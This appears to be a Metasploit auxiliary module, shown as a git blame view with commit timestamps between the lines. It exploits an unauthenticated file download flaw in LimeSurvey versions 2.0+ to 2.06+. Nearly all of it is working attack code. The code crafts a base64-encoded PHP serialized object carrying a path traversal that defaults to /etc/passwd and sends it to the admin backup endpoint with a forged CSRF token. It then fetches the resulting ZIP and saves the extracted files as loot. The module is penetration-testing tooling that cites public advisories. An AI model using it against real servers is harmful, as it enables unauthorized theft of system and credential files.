2015-12-01 23:06:13 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2015-12-01 23:06:13 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2015-12-02 10:01:56 +00:00
|
|
|
# for extracting files
|
|
|
|
require 'zip'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2015-12-01 23:06:13 +00:00
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Limesurvey Unauthenticated File Download",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits an unauthenticated file download vulnerability
|
|
|
|
in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded
|
2015-12-02 21:43:11 +00:00
|
|
|
as a ZIP and unzipped automatically, thus binary files can be downloaded.
|
2015-12-01 23:06:13 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Pichaya Morimoto', # Vulnerability Discovery
|
|
|
|
'Christian Mehlmauer' # Metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20151022-0_Lime_Survey_multiple_critical_vulnerabilities_v10.txt'],
|
|
|
|
['URL', 'https://www.limesurvey.org/en/blog/76-limesurvey-news/security-advisories/1836-limesurvey-security-advisory-10-2015'],
|
|
|
|
['URL', 'https://github.com/LimeSurvey/LimeSurvey/compare/2.06_plus_151014...2.06_plus_151016?w=1']
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Oct 12 2015'))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80),
|
|
|
|
OptString.new('TARGETURI', [true, "The base path to the limesurvey installation", '/']),
|
|
|
|
OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),
|
|
|
|
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 15])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2015-12-01 23:06:13 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def filepath
|
|
|
|
datastore['FILEPATH']
|
|
|
|
end
|
|
|
|
|
|
|
|
def traversal_depth
|
|
|
|
datastore['TRAVERSAL_DEPTH']
|
|
|
|
end
|
|
|
|
|
|
|
|
def payload
|
|
|
|
traversal = "/.." * traversal_depth
|
|
|
|
file = "#{traversal}#{filepath}"
|
|
|
|
serialized = 'a:1:{i:0;O:16:"CMultiFileUpload":1:{s:4:"file";s:' + file.length.to_s + ':"' + file + '";}}'
|
|
|
|
Rex::Text.encode_base64(serialized)
|
|
|
|
end
|
|
|
|
|
2015-12-02 10:01:56 +00:00
|
|
|
def unzip_file(zipfile)
|
2015-12-02 10:19:08 +00:00
|
|
|
zip_data = Hash.new
|
2015-12-02 10:01:56 +00:00
|
|
|
begin
|
|
|
|
Zip::File.open_buffer(zipfile) do |filezip|
|
|
|
|
filezip.each do |entry|
|
|
|
|
zip_data[::File.expand_path(entry.name)] = filezip.read(entry)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
rescue Zip::Error => e
|
|
|
|
print_error("Error extracting ZIP: #{e}")
|
|
|
|
end
|
2015-12-02 10:19:08 +00:00
|
|
|
return zip_data
|
2015-12-02 10:01:56 +00:00
|
|
|
end
|
|
|
|
|
2015-12-01 23:06:13 +00:00
|
|
|
def run
|
|
|
|
csrf_token = Rex::Text.rand_text_alpha(10)
|
|
|
|
|
|
|
|
vars_post = {
|
|
|
|
'YII_CSRF_TOKEN' => csrf_token,
|
|
|
|
'destinationBuild' => Rex::Text.rand_text_alpha(5),
|
|
|
|
'datasupdateinfo' => payload
|
|
|
|
}
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(target_uri, 'index.php', 'admin', 'update', 'sa', 'backup'),
|
|
|
|
'cookie' => "YII_CSRF_TOKEN=#{csrf_token}",
|
|
|
|
'vars_post' => vars_post
|
|
|
|
})
|
|
|
|
|
2015-12-02 21:43:11 +00:00
|
|
|
if res && res.code == 200 && res.body && res.body.include?('Download this file')
|
2015-12-02 10:14:10 +00:00
|
|
|
match = res.body.match(%r{<div class="updater-background">\s+<p class="success " style="text-align: left;">\s+<strong>[^<]+</strong>\s+<br/>\s+([^<]+)<br/>\s+<a class="btn btn-success" href="([^"]+)" title="Download this file">Download this file</a>})
|
2015-12-01 23:06:13 +00:00
|
|
|
if match
|
|
|
|
local_path = match[1]
|
|
|
|
download_url = match[2]
|
|
|
|
print_status("File saved to #{local_path}")
|
|
|
|
print_status("Downloading backup from URL #{download_url}")
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => download_url
|
|
|
|
})
|
|
|
|
|
2015-12-02 21:43:11 +00:00
|
|
|
if res && res.code == 200
|
2015-12-02 10:01:56 +00:00
|
|
|
unzipped = unzip_file(res.body)
|
|
|
|
|
|
|
|
unzipped.each do |filename, content|
|
|
|
|
print_good("Filename: #{filename}")
|
|
|
|
print_good(content)
|
|
|
|
|
|
|
|
path = store_loot(
|
|
|
|
'limesurvey.http',
|
2015-12-02 21:43:11 +00:00
|
|
|
'application/octet-stream',
|
2015-12-02 10:01:56 +00:00
|
|
|
rhost,
|
|
|
|
content,
|
|
|
|
filename
|
|
|
|
)
|
|
|
|
print_good("File saved in: #{path}")
|
|
|
|
end
|
2015-12-01 23:06:13 +00:00
|
|
|
else
|
|
|
|
print_error('Failed to download file')
|
|
|
|
end
|
|
|
|
else
|
|
|
|
print_error('Failed to download file')
|
|
|
|
end
|
|
|
|
else
|
|
|
|
print_error('Failed to download file')
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|